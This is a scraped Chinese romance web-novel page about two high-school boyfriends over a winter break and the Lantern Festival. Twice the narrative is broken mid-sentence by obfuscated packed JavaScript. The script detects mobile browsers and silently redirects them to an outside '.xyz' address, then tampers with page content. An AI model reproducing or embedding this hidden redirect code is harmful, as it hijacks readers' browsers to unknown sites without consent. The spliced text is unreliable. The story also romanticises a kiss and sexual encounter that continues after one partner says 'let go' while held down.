其实他根本没查,刚才趁着梁言许做B超的时候,他只让医生简单看了看,心思全在梁言许那边。但这些没必要说,免得梁言许又瞎操心。 梁言许显然信了,没再追问,埋头呼噜噜吃起面来。热气模糊了他的眉眼,脸颊被熏得泛红,看起来鲜活又生动。 周原看着他,心里像被什么东西填满了,暖融融的。上一世那些冰冷的检查单、消毒水的味道、梁言许苍白的脸,在此刻都成了遥远的幻影。他伸出手,越过小小的餐桌,轻轻碰了碰梁言许的头发。 “干嘛?”梁言许抬头,嘴里还含着面条,含糊不清地问。 “没什么。”周原收回手,嘴角扬起一个浅浅的笑,“快吃,面要凉了。” 窗外的风还在吹,但店里的暖气和碗里的热汤,足够驱散所有寒意。梁言许不知道周原心里那场惊心动魄的拉锯战,只觉得今天的牛肉面格外香,身边的人也格外顺眼。 他低头继续吃面,没看见周原望着他时,眼底那份失而复得的珍重,和藏在深处,再也不想放开的决心。 从医院回来后,日子好像突然慢了下来。寒假的午后总是带着点慵懒的暖意,梁言许窝在书桌前刷题,阳光透过窗户落在练习册上,把字迹照得清晰。 这几天确实安静得很。沈江没再发信息来,章婷南也没像之前那样找各种理由出现在楼下,那些明里暗里的较劲突然没了踪迹,倒让梁言许有点不习惯。 但这份不习惯很快就被另一种感觉取代了——周原几乎是寸步不离地跟着他。 早上他刚皱着眉说想吃巷口那家的生煎包,转身去洗漱的功夫,周原就已经裹着寒气买回了一屉,还热乎着;他对着物理题叹气,笔尖在草稿纸上划了半天没头绪,周原就会凑过来,温热的呼吸拂过耳畔,耐心地给他讲思路;甚至晚上他随口说句想吃草莓,第二天冰箱里就会多出满满一盒,红得发亮。 “你不用总围着我转的。”这天下午,梁言许看着又端来一盘切好的苹果的周原,忍不住开口。 周原把果盘放在他手边,顺手揉了揉他的头发:“反正我也没事干。”他拉了把椅子坐在旁边,翻开自己的书,视线却时不时往梁言许那边飘。 梁言许咬了口苹果,脆甜的汁水在嘴里散开。他偷偷瞥了眼周原,对方正低头看着书,阳光落在他挺直的鼻梁上,侧脸的线条清晰又好看。 心里突然冒出一个念头:这位男朋友,好像真的挺好的。 不是那种轰轰烈烈的好,是细水长流的,藏在每一个小细节里。 他下意识地抬起手,指尖碰到了无名指上的小银戒指。那是周原送他的生日礼物。 当时他还笑周原审美奇怪,却在戴上后就没摘下来过。 手指无意识地摩挲着冰凉的金属表面,摸到内侧时,能感觉到那里刻着两个小小的字母缩写——是他和周原的名字。不仔细摸根本发现不了,像个藏在心底的秘密。 “在想什么?”周原的声音突然响起。 梁言许吓了一跳,慌忙收回手,脸颊有点发烫:“没、没什么。”他低头假装看题,耳朵却悄悄红了。 周原看着他泛红的耳根,眼底闪过一丝笑意,没再追问,只是把自己的保温杯递过去:“喝点热水,刚才看你咳嗽了两声。” 梁言许接过杯子,指尖碰到温热的杯壁,心里也跟着暖了暖。他拧开盖子喝了一口,是他喜欢的蜂蜜水,甜度刚好。 原来他连自己喜欢喝什么都记得这么清楚。 “周原。”他突然开口。 “嗯?” “你……”梁言许顿了顿,想问他是不是真的喜欢自己,话到嘴边却变成了,“你寒假作业写完了吗?” 周原挑了挑眉,放下书凑过来,距离一下子拉近,梁言许能闻到他身上淡淡的皂角香。“没呢,”他故意压低声音,带着点戏谑,“光顾着陪某人了,哪有时间写。” 温热的气息拂过脸颊,梁言许的心跳漏了一拍,往后缩了缩,却被周原伸手按住了后颈。 “不过没关系,”周原看着他慌乱的眼睛,嘴角弯起,“反正有你帮我抄,不是吗?” “谁、谁要帮你抄!”梁言许拍开他的手,脸颊烫得厉害,却忍不住笑了出来。 阳光落在两人交叠的手上,梁言许的手指又不自觉地摸到了戒指上的小土豆。冰凉的金属贴着皮肤,却好像能传来周原的温度。 他想,或许周原是真的喜欢自己。 这个认知让他心里有点慌,又有点莫名的甜。就像此刻窗外的阳光,不刺眼,却足够暖。 周原合上书本,书页轻合的声响在安静的房间里格外清晰。他站起身,一米九的身高带着不容忽视的压迫感,几步就走到了梁言许面前。 “宝宝,我们来做点有趣的事。”他的声音比平时低了些,带着一种不容拒绝的意味。 梁言许仰头看他,眼里满是疑惑:“?什么事?” 周原俯身,手掌轻轻搭在书桌边缘,视线落在他泛红的耳垂上,语气带着点暧昧的喑哑:“当然是做男朋友该做的事。” 梁言许心里咯噔一下,虽然没完全明白周原的意思,却莫名升起一股不祥的预感,下意识地往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340957|183444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后缩了缩。 还没等他反应过来,周原已经弯下腰,轻松地将他打横抱起。梁言许惊呼一声,下意识搂住他的脖子,脸颊瞬间涨红:“周原!你干嘛!” 周原没说话,只是抱着他走到床边,小心翼翼地将他放在柔软的被褥上,随即俯身,将他圈在自己与床之间的空间里。他低头解开自己的领口,两颗纽扣松开,露出线条清晰的锁骨,呼吸缓缓落在梁言许的脸上。 “我想吃…小土豆……”他的声音压得极低,带着滚烫的温度,眼神像拢着一团火,牢牢锁住身下的人。 梁言许的心跳瞬间乱了节拍,看着近在咫尺的脸,感受着身上温热的重量,终于后知后觉地明白了什么,脸颊烫得能煎鸡蛋,连带着声音都发了颤:“你、你别乱来……” 梁言许的话还没说完,周原已经低头覆了上来。 不是轻柔的触碰,带着不容抗拒的力道,攫住了他的唇。梁言许的眼睛倏地睁大,瞳孔里映出周原近在咫尺的脸,鼻尖相抵,呼吸交缠,带着对方身上清冽的皂角香,还有一丝滚烫的侵略性。 他的大脑瞬间一片空白,只剩下唇上灼热的触感。周原的吻很深,带着压抑许久的渴望,舌尖撬开他的牙关,强势地探了进去,勾着他的舌尖辗转厮磨。 “唔……”梁言许下意识地想挣扎,双手抵在周原的胸口,却被他轻易按住手腕,举过头顶按在床上。190的身高带来的绝对压制感在此刻显露无疑,他像只被牢牢困住的小兽,只能承受着对方带着掠夺意味的亲吻。 唇齿间的气息越来越灼热,周原的吻渐渐染上些微的急切,下巴蹭过他的脸颊,带着点胡茬的粗糙触感,让梁言许的皮肤泛起一阵战栗。他能清晰地感受到周原胸腔里沉稳有力的心跳,隔着薄薄的衣料传过来,和自己慌乱如鼓的心跳声交织在一起。 缺氧感渐渐袭来,梁言许的眼角泛起生理性的红,睫毛湿漉漉地颤抖着。周原似乎察觉到他的不适,稍稍退开些,额头抵着他的,呼吸粗重,眼底像燃着簇火,牢牢锁着他泛红的眼尾。 “放……放开……”梁言许的嘴唇被吻得红肿,声音带着浓重的鼻音,还有一丝不易察觉的颤抖。 周原却没松手,反而低头,在他红肿的唇上轻轻啄了一下,带着点安抚的意味,声音沙哑得厉害:“别动,让我亲会儿……” 说完,又不由分说地吻了上去,这一次比刚才温柔了些,却依旧带着不容逃离的执着,像是要把怀里的人拆吃入腹,又像是要将他揉进自己的骨血里。 梁言许的挣扎渐渐弱了下去,抵在周原胸口的手不知何时松了劲,指尖无意识地揪住了他敞开的衣领。窗外的阳光透过窗帘缝隙照进来,落在两人交叠的身影上,空气里弥漫着暧昧又滚烫的气息。 周原的动作却愈发急切,带着不容抗拒的势头,猛地将梁言许往床里带了带。两人一同滚进柔软的被褥中,被蓬松的被子裹了个严实。周原顺势跟着钻了进去,翻身再次将梁言许压在身下。 布料摩擦的窸窣声在被子里响起,紧接着,一件叠得并不规整的衬衫被从被角扔了出来,落在地板上。没过几秒,又有件薄毛衣被推了出来,领口还沾着几根褶皱。 被子里的动静越来越大,隆起的弧度随着两人的动作轻轻晃动,像是藏着一场克制不住的汹涌。 梁言许的惊呼声被闷在柔软的棉絮里,只剩下断断续续的气音,混着周原低沉的喘息,在小小的空间里交织。 被子里的温度渐渐升高,暖烘烘的气流裹着彼此的呼吸,变得格外黏稠。周原的手掌贴着梁言许后颈,指尖蹭过他发烫的皮肤,带着点笨拙的急切,又舍不得用力。 “别动……”他的声音低哑,气音拂过梁言许耳廓,带起一阵战栗。梁言许偏过头,鼻尖撞上他锁骨,能闻到他身上淡淡的沐浴露味,混着一点阳光晒过的皂角香——那是昨天早上一起洗床单时,周原非要用的那款。 床单被揉得发皱,两人交叠的地方沁出薄汗。梁言许抬手推他,指尖却勾住了周原后背的线条,明明是抗拒的动作,力道却软得像撒娇。周原低笑一声,咬了咬他耳垂:“不是说冷吗?这样就不冷了。” 窗外的雪不知什么时候停了,天光透过窗帘缝隙漏进来,在被子上投下细窄的光带。光带里浮动着细小的尘埃,像被他们的呼吸搅起的星子。梁言许闭着眼,能感觉到周原的心跳撞在自己胸口,和他的节奏慢慢重合,咚、咚、咚,敲得比新年的鞭炮声还要响。 “寒假作业……”他忽然想起这茬,含糊地咕哝。周原在他颈窝蹭了蹭,声音懒懒洋洋的:“昨天不是写了两张数学卷?”手指却没闲着,轻轻描摹他肋骨的形状,“再说,现在写作业,对得起这被窝?” 梁言许被他挠得痒,缩了缩肩膀,笑声闷在被子里,震得周原胸口发麻。他忽然想起除夕夜,两人挤在沙发上看春晚,周原也是这样,悄悄往他这边靠,直到肩膀抵着肩膀,体温一点点渗过来。 那时还隔着毛衣和外套,哪像现在,什么都隔着,又好像什么都没隔着。 “周原,”梁言许忽然开口,声音有点闷,“你头发蹭得我脸痒。” 周原没动,反而把脸埋得更深,呼吸扫过他锁骨窝:“痒也忍着。”顿了顿,又补充一句,“反正……又没人看见。” 是啊,没人看见。梁言许房子是自己租的,因母亲离开的早老家里只有一个酒鬼老爸喝醉酒还会打人为了躲避他梁言许便自己偷偷跑出来租房子住。 寒假还有一半,雪化了又会再下,日子长得像这被窝里的暖意,好像能一直赖下去,不用考虑开学,不用想未来,就只当两个刚成年的、贪恋彼此温度的少年。 梁言许抬手,慢慢环住周原的背。指尖陷进他肩胛骨的弧度里,像握住了一块温热的、属于自己的宝藏。被子外的世界很安静,只有远处传来零星的鞭炮声,是哪家孩子还在玩没放完的烟花。而被子里,只有他们的心跳,和越来越近的呼吸。 10. 最后一晚 寒假最后一天恰逢元宵节,周原出门采购时特意叮嘱梁言许锁好门,自己很快就回。可他刚走没多久,虚掩的门就被猛地推开,沈江不由分说地拽住梁言许的手腕往外带。 “带你去个地方‘玩’。”沈江的语气带着不容拒绝的强势。 梁言许愣了一下,挣扎着想抽回手:“啊?周原很快就回来了,我不能……” 话没说完就被塞进了车里,沈江一脚油门,径直往城郊的古镇开去。后视镜里,小区的影子越来越小,梁言许攥着手机的指尖微微发白——他太清楚,等周原买完东西回家,看到空无一人的屋子和没关严的门,那双总是带着笑意的眼睛里,会掀起怎样的波澜。 古镇里红灯笼挂得密密麻麻,暖黄的光透过镂空的花纹落在青石板上,倒有几分闹元宵的意思。沈江拉着梁言许穿过人群,指着河边一排挂着灯谜的灯笼:“猜几个?赢了有糖人。” 梁言许没心思看,手机在口袋里震了两下,是周原发来的消息:【到家了,你不在?门没关。】 指尖刚按出“我被沈江带到古镇了”,手腕就被沈江轻轻一扯:“别总看手机,难得出来。”他转身去买了两串糖葫芦,递过来一串,“你以前不是爱吃这个?” 梁言许捏着糖葫芦的竹签,山楂的甜酸漫开,却压不住心里的慌。他知道周原不是小气的人,可一想到对方推开家门时空荡荡的客厅,想到自己出门前明明答应了要等他一起煮元宵,喉结就忍不住滚了滚。 手机又震了一下,还是周原:【安全吗?我过去接你。】 这次梁言许没犹豫,飞快回了定位。抬眼时,沈江正举着相机对着他拍,镜头里的自己眉头皱着,一点笑意都没有。“别拍了,”他低声说,“周原要来。” 沈江放下相机,挑了下眉:“他倒是来得快。”话音刚落,人群里就挤过来一道熟悉的身影,周原穿着件灰黑色的羽绒服,额角带着点薄汗,显然是急着赶来的。 他目光先落在梁言许身上,确认人没事,才转向沈江,脸上没什么表情,语气却听不出波澜:“沈先生,下次想约言许,不如提前打个招呼。” 沈江笑了笑,往后退了半步,把空间让出来:“就是带他出来看看灯,别这么紧张。” 周原没接话,只是走到梁言许身边,很自然地接过他手里没啃几口的糖葫芦,扔进旁边的垃圾桶,然后牵起他的手——指尖是凉的,带着点用力的劲儿。“回家了,”他声音放软了些,只对着梁言许说,“元宵快煮烂了。” 回去的路上,车厢里安安静静的。梁言许几次想开口解释,都被周原握着的手紧了紧。快到小区时,周原才低声问:“他拽你出门的时候,你没跟他说,你在等我?” 梁言许心里一咯噔,点了点头:“我说了,但他……” “我知道。”周原打断他,侧过头看了他一眼,眼底没什么火气,就是有点蔫蔫的,像被雨打湿的小狗,“我就是不高兴,他凭什么不经过我同意就带你走?更不高兴……你居然真的跟他走了。” 梁言许的心像被针扎了下,反手回握住他的手:“对不起,是我没坚持住。” 车停在楼下,周原没立刻解锁,只是盯着他看了会儿,忽然倾身在他额角啄了一下,声音闷闷的:“下次不许了。元宵我多放了几个你爱吃的黑芝麻馅,再不吃真要烂了。” 梁言许看着他泛红的耳根,忽然笑了,凑过去在他唇上亲了亲:“嗯,回家吃元宵。” 楼道里的声控灯被脚步声点亮,周原牵着他的手没松,一步一步踏上去,像在无声地宣告着什么。梁言许攥紧了他的手指,心里那点因沈江而起的慌乱,终于被身边这个人带来的暖意彻底驱散了。 推开家门时,厨房飘来甜香,是黑芝麻元宵在沸水里翻滚的气息。周原换鞋时动作顿了顿,梁言许注意到他手腕处红了一小块,大概是刚才在人群里挤着找他时蹭到的。 “我去拿药箱。”梁言许转身要去阳台,却被周原拉住。对方指尖还带着外面的寒气,轻轻捏了捏他的掌心:“先吃元宵,凉了就不好吃了。” 盛出来的元宵圆滚滚的,在白瓷碗里冒着热气。周原没动自己那碗,先拿过勺子帮梁言许搅了搅:“小心烫。” 梁言许咬开一个,黑芝麻馅烫得舌尖发麻,却还是含糊地说:“今天的事……” “吃饱再说。”周原打断他,往他碗里又拨了两个,“沈江那性子,你又不是不知道,别往心里去。” 话是这么说,他垂眸舀元宵时,睫毛在眼下投出一小片阴影,那点没说出口的在意,像碗里没化开的糖粒,沉在底上。 梁言许忽然放下勺子,伸手环住他的腰。周原身形僵了一下,手里的勺子差点掉进碗里。“我以后不会了,”梁言许把脸埋在他后背,声音闷闷的,“不会再让别人不打招呼就把我带走,更不会让你回家时找不到我。” 周原沉默了几秒,反手拍了拍他的背,力道很轻:“知道了。”顿了顿,又补充一句,“其实我不是气他带你去玩,是气他推门进来时,你明明可以锁门的。” 梁言许愣了愣,才反应过来——周原是气他没把自己放在更重要的位置,气他潜意识里没觉得“该先问问周原”。 他抬头时,正撞见周原转过来的目光,那双眼睛里没了刚才的疏离,倒像是藏着点委屈,像只被冷落了的大型犬。“那……”梁言许抿了抿唇,往他碗里夹了个元宵,“罚我给你剥橘子?剥十个。” 周原被他逗笑了,眼角的弧度软下来:“不用十个,一个就够。”他抬手揉了揉梁言许的头发,“下次沈江再来,你就说‘我家周原不让我跟别人跑’,听见没?” 窗外的烟花“嘭”地炸开,彩色的光映在周原眼里,亮得像落了星子。梁言许咬着橘子点头,心里那点因沈江而起的别扭,终于被满室的甜香和身边人的温度,彻底捂化了。 门铃响的时候,梁言许正帮周原把凉透的元宵倒进垃圾桶。周原擦着手去开门,门外站着章婷南,裹着件亮粉色的羽绒服,手里还提着个装烟花棒的塑料袋。 “言许!下来看烟花啊!”她嗓门亮,话音刚落就探头往里瞅,“周原也在?正好,一起去海边,人可多了。” 梁言许刚走到门口,就被周原不动声色地往身后带了带。周原对着章婷南笑了笑,语气客气却带着分寸:“不了,我们准备在家看看电视。” 章婷南愣了下,视线在两人之间打了个转,忽然促狭地眨眨眼:“别啊,元宵不看烟花多没意思。言许,走嘛,我带了那种会转圈的小烟花,你不是最爱玩了吗?” 梁言许还没来得及开口,周原已经接过话头:“他今天累了,想早点休息。”他侧身挡在门口,姿态温和却没给人再劝的余地,“你们玩得开心,注意安全。” 章婷南撇撇嘴,也没再坚持,冲梁言许挥了挥手里的塑料袋:“那我把烟花给你留下?” “不用了。”周原说得干脆,“他怕烫。” 关上门的瞬间,梁言许忍不住笑出声:“我什么时候怕烫了?” 周原转身把他按在玄关的鞋柜上,低头看着他,眼底还带着点没散去的认真:“你怕不怕烫不重要,重要的是,”他捏了捏梁言许的耳垂,声音放低了些,“我不想让别人再把你从我眼前带走了。” 窗外又响起烟花炸开的声音,这次离得很近,震得窗户都轻轻发颤。梁言许仰头看周原,对方的睫毛在暖黄的灯光下投出浅影,刚才面对章婷南时的疏离全变成了柔软。 “那……”梁言许拉着他的手往阳台走,“我们在家看也行啊。” 阳台的窗户正对着河边的方向,能看见大片烟花在夜空里炸开,红的绿的紫的,把半边天都染亮了。周原从身后环住他,下巴搁在他肩上:“还是家里好,不用挤,还能抱着你。” 梁言许被他说得耳尖发烫,刚要转身,就听见周原忽然“嗯?”了一声,视线落在楼下——章婷南正和沈江站在单元门口说话,沈江手里还拿着串没吃完的糖葫芦。 周原环在他腰间的手紧了紧,下巴往楼下点了点:“你看,他俩倒凑一块儿了。” 梁言许顺着他的目光看过去,忽然觉得有点好笑。他转过身,踮脚在周原下巴上亲了一下:“别看他们了,看烟花。” 最大的一朵烟花刚好在这时炸开,像朵巨大的牡丹悬在天上。周原低头吻住他,舌尖带着点元宵的甜意。 “明年元宵,”他贴着梁言许的唇说,“我们自己买烟花,就在楼下放。” “好啊。”梁言许笑着回吻他,“还要一起煮元宵,这次我盯着火,保证不煮烂。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340958|183444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 窗外的烟花还在继续,屋里的暖意却比任何绚烂的光都更让人安心。 梁言许正盯着窗外的烟花出神,忽然被周原从身后塞了个东西在手里。低头一看,是几根裹着彩纸的仙女棒,顶端还粘着亮晶晶的金粉。 “你什么时候买的?”他惊讶地回头,就见周原蹲在茶几旁,正从一个纸箱子里往外掏东西——除了仙女棒,还有几盒呲花和一板星星形状的小烟花,都是些不会炸响、只冒火星的安全款。 “前几天路过小卖部顺手买的。”周原把东西摆开,抬头冲他笑,“你不是曾说过你小时候玩这个总被烫到手,我特意挑了最慢的款。” 阳台的灯被关掉,只剩窗外烟花的余光忽明忽暗。周原划燃一根火柴,先点燃一根仙女棒递过来。蓝色的火花“嘶嘶”地冒出来,像攥住了一把碎星子,梁言许下意识地往后缩了缩手,被周原笑着握住手腕:“别怕,我握着你。” 他的掌心温热干燥,稳稳地托着梁言许的手,让仙女棒的火花在半空划出细碎的光轨。呲花被点燃时更热闹些,金色的火星簌簌往下落,像一场迷你的流星雨,落在两人脚边的瓷砖上,很快就熄灭了。 “你看这个。”周原又拆了一盒星星烟花,摆在阳台的栏杆上点燃。十几颗“星星”同时亮起,暖黄的光把两人的影子投在墙上,紧紧挨在一起,随着身体的晃动轻轻摇曳。 梁言许忽然想起刚才章婷南提到的烟花,那些在海边炸开的大烟花确实绚烂,可此刻手里这一点点温柔的光,却让他觉得更踏实。他转头时,刚好对上周原看过来的目光,对方眼里映着星星烟花的光,比窗外任何一朵烟花都要亮。 “比外面的好看?”周原凑过来,声音混在远处的烟花声里,显得格外清晰。 梁言许没说话,只是把手里快燃尽的仙女棒往他那边递了递。火星落在两人之间的空隙里,像个无声的拥抱。 最后一根仙女棒燃尽时,周原忽然低头,在他唇角印下一个轻吻,带着烟火气的微烫:“明年,我们买最大的仙女棒。” “好啊。”梁言许笑着回抱住他,“还要买带爱心的那种。” 窗外的喧嚣还在继续,阳台的角落里,刚燃尽的烟火棒还留着淡淡的余温,像他们之间那些没说出口的在意,安静却滚烫。 最后一点火星熄灭时,梁言许的指尖沾了些金粉,蹭在周原手背上,像落了片会发光的鳞片。周原没擦,反而拉着他往客厅走:“去洗手,顺便把剩下的元宵热一热——刚才光顾着玩,正经的节还没过完呢。” 微波炉“叮”了一声,元宵的甜香混着淡淡的烟火气飘出来。两人坐在沙发上分一碗,梁言许忽然指着周原的手背笑:“你看,金粉还在。” 周原低头瞅了瞅,故意往他脸上抹了一下:“现在你也有了。” 梁言许躲开时,后脑勺磕在沙发靠背上,闷响一声。周原赶紧伸手去揉,指尖刚碰到头发,就被抓住了手腕。梁言许仰头看他,眼底还沾着点刚才烟火的亮,声音轻轻的:“周原,”他顿了顿,“今天……谢谢你来接我。” 周原手上的动作停了,低头在他额角亲了亲:“说什么傻话。”他抽回手,捏了个元宵递到梁言许嘴边,“以后不管你在哪儿,我都会找到你。” 元宵的黑芝麻馅甜得刚好,暖意在喉咙里慢慢散开。窗外的烟花不知何时停了,远处传来零星的鞭炮声,衬得客厅里格外安静。梁言许咬着勺子笑,忽然觉得这个元宵节过得格外曲折,却又格外圆满——从被沈江突然带走的慌乱,到看见周原冲过来时的安心,再到此刻窝在沙发上分享一碗元宵的温暖,像一串被烟火点亮的脚印,一步步踩进心里最软的地方。 周原拿起遥控器打开电视,正放着元宵晚会的歌舞节目,吵吵嚷嚷的。他没看,只是侧过头,看着梁言许小口小口吃东西的样子,忽然伸手把人往怀里带了带。 “干嘛?”梁言许往他肩上靠了靠。 “不干嘛。”周原的下巴抵着他的发顶,声音懒洋洋的,“就想抱抱你。” 电视里的歌声还在继续,碗里的元宵渐渐凉了,可两人靠在一起的地方,却一直暖烘烘的。梁言许闭上眼睛,听着周原平稳的心跳声,忽然觉得,所谓的团圆,大概就是这样——不管外面多热闹,身边有这个人,就够了。 11. 作业没写啊! 凌晨三四点,窗外的月光刚漫过窗台一角,窝在周原怀里的梁言许突然猛地惊醒,呼吸都带着点急促。 周原被他一动弄醒了,睡意朦胧地收紧手臂把人往怀里带了带,嗓音哑得发沉:“怎么了,土豆宝宝?” 梁言许抓着他睡衣的手都带了点慌,眼睛在昏暗中睁得圆圆的:“完了完了……周原,我寒假作业还没写!” 周原低笑了声,指尖轻轻敲了敲他发顶,带着点无奈又纵容的意味:“现在知道急了?昨晚让你写你非说不急。”嘴上这么说,却还是揉了揉他的头发,“天亮再说,先睡。” 梁言许刚被周原按下去的睡意瞬间飞了个干净,他撑起上半身盯着周原,眼睛在黑暗里亮得像受惊的小鹿:“你也没写?!” 周原“嗯”了声,指尖还在慢悠悠划着他后颈的弧度,语气听不出半点急色:“前几天不是帮你补竞赛笔记了?” “可我们是尖子班啊!”梁言许抓着他的肩膀晃了晃,声音都带了点破音,“张老师说开学第一天就要当众查寒假作业,还要排名次的!” 尖子班的作业本就比普通班多三成,光数学附加题就有厚厚一沓,更别提英语老师额外布置的十篇精读笔记。梁言许越想越慌,手忙脚乱地要开灯:“不行,现在写还来得及,我去拿台灯——” 手腕被周原轻轻拽住。他借着月光看清周原嘴角那抹熟悉的笑,心里忽然咯噔一下:“你……你是不是藏了什么?” 周原翻了个身把他压回枕头上,下巴抵着他发顶闷笑:“昨天下午去办公室搬书,顺手翻了眼张老师的备课本。”他顿了顿,故意拖长调子,“今年寒假作业,她只查前五十页。” 梁言许愣住:“真的?” “骗你是小狗。”周原在他额角亲了口,重新把人圈回怀里,“而且我算过了,我们俩的强项刚好错开,你写数学物理,我补英语语文,早上六点起,三个小时足够抄完重点。” 怀里的人安静了几秒,突然闷闷地说:“那你刚才还笑我。” “不笑你笑谁?”周原捏了捏他脸颊,“昨天趴在我背上看剧的时候,是谁说‘作业哪有男朋友重要’的?” 梁言许把脸埋进他颈窝,耳朵尖红得发烫。窗外的月光悄悄爬进来,照亮少年交握的手,也照亮被子里悄悄翘起的嘴角。 反正天塌下来,尖子班的两个学神总有办法糊弄过去——大不了明天早自习互相抄得隐蔽点。 清晨六点的闹钟还没响,梁言许已经被笔尖划过纸页的沙沙声弄醒了。 他揉着眼睛坐起来,看见周原正趴在书桌前奋笔疾书,晨光透过窗帘缝隙落在他挺直的脊背上,侧脸线条冷得像淬了冰。桌上摊着两摞作业本,梁言许的数学物理只写了不到一半,周原负责的英语笔记更是空白一片——显然周原昨晚的“三小时足够”是高估了他们的手速,也低估了尖子班作业的变态程度。 “完了……”梁言许抓抓头发,看着墙上的挂钟,“还有四十分钟早读。” 周原把笔一扔,起身捞过校服外套扔给他:“先去学校,路上买两支笔芯,早读课见缝插针补。”他的语气听不出波澜,只有耳尖微微泛红暴露了些微焦躁。 两人踩着晨光往学校冲,书包带子甩得老高。梁言许正低头数着还差多少道物理题,背后突然伸来一只手勾住他后领,带着点痞气的笑在耳边炸开:“哟,这不是我们班的大学神吗?” 梁言许吓了一跳,猛地回头,撞进沈江带着笑意的眼睛里。 没等梁言许反应过来,沈江突然俯身,在他脸颊上飞快地亲了一口,带着烟草和薄荷混合的味道。“开学快乐啊,言许。” 梁言许像被烫到一样猛地后退,脸颊瞬间烧起来。 下一秒,他被一股力道拽到身后。周原站在他面前,身形比沈江更挺拔,阴影恰好将梁言许完全罩住。他没说话,只是盯着沈江,眼神冷得像结了冰的湖面。 沈江挑了挑眉,非但没退,反而往前凑了半步,手还想往梁言许那边伸:“怎么?周原不能吗?” “他是我男朋友。”周原的声音不高,却带着不容置疑的压迫感,“离他远点。” 沈江的手顿在半空,嗤笑一声:“男朋友?学校可没规定不准追有男朋友的人。”他瞥了眼躲在周原身后、耳根红透的梁言许,故意提高了音量,“再说了,言许还没说不喜欢我呢。” 梁言许攥着周原的衣角,小声却坚定地说:“我……” “走了。”周原直接打断他,抓着他的手腕转身就走,步伐快得带起一阵风。 梁言许被他拽着走了几步,回头看见沈江还站在原地,双手插在校服口袋里,目光沉沉地落在他们交握的手上。 “他……”梁言许有点不安。 “别理他。”周原握紧了他的手,掌心温热干燥,“早读课重点补数学最后两章,我已经把答案记在草稿纸上了。” 晨光里,两人的影子被拉得很长,紧紧挨在一起梁言许静静的看着周原绷紧的下颌线。 刚踏进教室,张老师抱着作业本站在讲台前的身影就像座突然出现的冰山。她推了推眼镜,目光精准地扫过刚进门的两人,手里的红笔在教案本上敲得笃笃响:“周原,梁言许,你们俩,作业放最上面。” 梁言许的心瞬间提到嗓子眼,偷偷瞄了眼周原。周原面不改色地把两摞作业本递上去,指尖却在桌沿轻轻磕了两下——那是他们约定好的“别慌”的信号。 张老师翻作业本的动作慢得像在凌迟。梁言许盯着自己写了不到一半的物理大题,听着纸张翻动的沙沙声,后背的汗把校服都洇湿了一片。果然,没半分钟,红笔“啪”地拍在桌上。 “周原,你的英语笔记只写了三篇。”张老师的声音冷得像冰,“梁言许,数学附加题空了七道。尖子班的脸都被你们丢尽了!” 全班同学的目光齐刷刷射过来,带着惊讶和好奇。梁言许的耳朵烫得能煎鸡蛋,恨不得把头埋进桌洞里。 “去,”张老师朝后门抬抬下巴,“拿着作业,到走廊罚站补完。补不完不准进教室,也别想参加今天的开学测验。” 两人抱着作业本站在走廊,清晨的风卷着寒意往领口里钻。梁言许蹲在台阶上,对着空白的数学题发呆,鼻尖突然被人捏了一下。 “哭丧着脸干什么?”周原把自己的校服外套脱下来,披在他肩上,“刚好清净,没人打扰我们抄作业。” 梁言许抬头,看见周原正从书包里翻出标准答案,嘴角还噙着点笑。晨光落在他睫毛上,把那点漫不经心的笃定照得格外清晰。 “可是……”梁言许拽了拽外套,上面还留着周原的体温,“等会儿沈江出来怎么办?” 话音刚落,教室门“吱呀”一声开了。沈江吊儿郎当地靠在门框上,手里转着支笔,目光在梁言许身上那件明显过大的校服上打了个转,笑了:“哟,学神也有被罚站的时候?” 周原没理他,只是把梁言许往自己身后拢了拢,低头继续往英语笔记本上抄句子。笔尖划过纸页的声音很稳,像在无声地说“有我在”。 沈江的眼神暗了暗,没再说什么,转身回了教室。 梁言许看着周原专注的侧脸,突然觉得被罚站好像也没那么糟。至少此刻,走廊里只有他们两个人,风里飘着粉笔灰的味道,还有他悄悄往周原那边挪了挪,就能碰到的肩膀。 “快点写,”周原忽然侧过头,在他耳边低语,“补完了请你吃早饭。” 梁言许“嗯”了一声,拿起笔的手稳了不少。阳光慢慢爬上来,把两人的影子叠在一起,像幅没画完的画。 走廊里的风突然静了半秒。 梁言许抬头时,正撞见章婷南抱着作业本站在对面教室门口,额前碎发被风吹得有点乱,手里还捏着支没盖笔帽的笔。她显然也没想到会在这里碰到他们,挑了挑眉,语气带着点同病相怜的揶揄:“你们俩也没写完?” 梁言许刚想点头,就被周原不轻不重地捏了下手腕。他转头看过去,对方正垂着眼抄物理公式,笔尖在纸上顿了顿,侧脸线条比刚才冷了半分。 “对啊,”梁言许赶紧接话,还不忘朝章婷南晃了晃手里的数学练习册,“尖子班作业也太多了……” “可不是嘛。”章婷南走过来,往梁言许身边凑了凑,把自己的化学卷子递过去,卷角都被捏皱了,“你看这道有机推断题,我卡了半天没头绪,言许你过来一下,给我讲讲?” 周原手里的笔“咔嗒”一声按出了笔芯。 梁言许后颈的汗毛瞬间竖了起来——这是周原吃醋的经典信号。他刚要开口说“我教你”,就感觉后腰被人轻轻拽了一下,力道不大,却带着不容置疑的牵制。 “他忙着补自己的作业。”周原抬眼,目光落在章婷南的卷子上,语气听不出情绪,“第三问用取代反应机理,把羟基换成氯原子就行。” 